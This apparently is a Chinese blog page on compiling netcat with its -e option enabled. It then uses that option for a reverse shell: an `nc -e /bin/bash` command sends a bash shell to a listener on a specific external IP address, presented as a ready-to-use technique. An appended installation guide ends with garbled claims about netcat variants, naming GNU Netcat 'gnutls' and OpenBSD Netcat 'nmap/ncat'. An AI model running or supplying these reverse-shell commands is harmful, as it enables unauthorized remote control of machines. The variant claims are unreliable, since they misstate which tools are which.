Linux编译nc

Linux编译nc

Linux自带的或通过apt-get、yum安装的nc不带-e选项,需要自己编译。

wget http://ncu.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure  --enable-DGAPING_SECURITY_HOLE
make
make install

然后就可以使用-e选项实现反向连接。假如198.211.30.26监听80端口,想把99.1.36.164的命令行反向连接到外网机器。
198.211.30.26上执行:

nc -l 80

99.1.36.164上执行:

nc -e /bin/bash 198.211.30.26 80

198.211.30.26上就已获得99.1.36.164的命令行。

### 在 Linux 系统中安装或下载 netcat 工具的方法 #### 方法一:通过包管理器安装 许多现代 Linux 发行版提供了 `netcat` 的预编译二进制文件,可以通过系统的包管理器快速安装。 对于基于 Red Hat 的发行版(如 CentOS 和 Fedora),可以使用以下命令来安装: ```bash yum install -y netcat ``` 或者也可以尝试安装名为 `nc` 的工具,它是 `netcat` 的另一种形式: ```bash yum install -y nc ``` 对于基于 Debian 的发行版(如 Ubuntu 和 Mint),可以使用以下命令来完成安装: ```bash apt-get update && apt-get install -y netcat ``` 或者同样可以选择安装 `nc` 版本: ```bash apt-get update && apt-get install -y nc ``` 以上方法简单快捷,适合大多数用户的需求[^2]。 --- #### 方法二:手动下载并解压源码包 如果需要从源代码安装 `netcat`,则需按照以下流程操作: 1. 下载 `netcat` 源码压缩包: ```bash wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz ``` 2. 将下载的压缩包解压至 `/usr/local` 目录下: ```bash tar -zxvf netcat-0.7.1.tar.gz -C /usr/local ``` 3. 进入解压后的目录并执行配置脚本以及构建过程。通常情况下,可能还需要额外安装开发环境依赖项(如 GCC 编译器)。以下是典型的操作步骤: ```bash cd /usr/local/netcat-0.7.1/ ./configure make sudo make install ``` 此方法适用于希望自定义编译选项或无法直接使用包管理器的情况[^1][^4]。 --- #### 方法三:验证安装成功与否 无论采用哪种方式,在安装完成后都可以运行以下命令测试是否正常工作: ```bash nc --version ``` 如果没有报错,则说明已正确安装[^3]。 --- ### 注意事项 某些较新的操作系统可能会默认提供更安全的替代品,比如 GNU Netcat (`gnutls`) 或 OpenBSD Netcat (`nmap/ncat`)。因此在实际应用过程中应确认具体版本及其特性差异。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值